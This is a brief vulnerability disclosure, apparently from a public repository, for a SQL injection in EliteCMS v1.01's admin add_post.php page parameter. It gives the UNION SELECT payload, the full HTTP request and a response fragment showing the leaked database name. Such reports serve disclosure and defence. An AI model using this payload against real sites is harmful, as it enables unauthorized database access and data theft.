debug601 Create SQLi-3.md History

1 contributor

26 lines (19 sloc) | 1.02 KB

Elitecms v1.01 by elitecms has SQL injection

vendors: https://elitecms.net/download.php

Vulnerability File: /admin/add_post.php

Vulnerability location: ip/eliteCMS1.01/admin/add_post.php?page=, page

dbname: elitecms101

[+] Payload: /eliteCMS1.01/admin/add_post.php?
page=-3%20union%20select%201,2,3,4,database(),6,7,8,9,10,11--+ // Leak place ---> page

```
GET /eliteCMS1.01/admin/add_post.php?page=-3%20union%20select%201,2,3,4,database(),6
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close
```

```
GET
/eliteCMS1.01/admin/add_post.php?page=-3%20union%20select%201,2,3,4,database(),6,7,8,9,10,11--+ HTTP/1.1
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64;
rv:46.0) Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/
*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close
```

```
<li><a href="manage_pages.php">Manage Pages</a></li>
<li><a href="manage_posts.php">Manage Posts</a></li>
<li><a href="manage_sidebar.php">Manage Sidebar</a></li>
<li><a href="manage_uploads.php">Manage Uploads</a></li>
<li><a href="manage_users.php">Manage Users</a></li>
<li><a href="manage_settings.php">Manage Settings</a></li>
<li><a href="logout.php">Logout</a></li>
</ul>
</div>
<div id="body">
<div class="box bigBox">
<h1>Add New Post</h1>
<form action="/eliteCMS1.01/admin/add_post.php" method="post">
<table width="100%" align="center" cellpadding="0" cellspacing="0" id="post_form">
<tr bgcolor="#EEF7FD">
<td width="27%" class="padd">Parent Page :</td>
<td width="73%" class="padd">
<select name="page_id" class="select1" onChange="MM_jumpMenu('parent',this,0)">
<option value="1">elitecms101</option>
</select>
</td>
</tr>
<tr>
```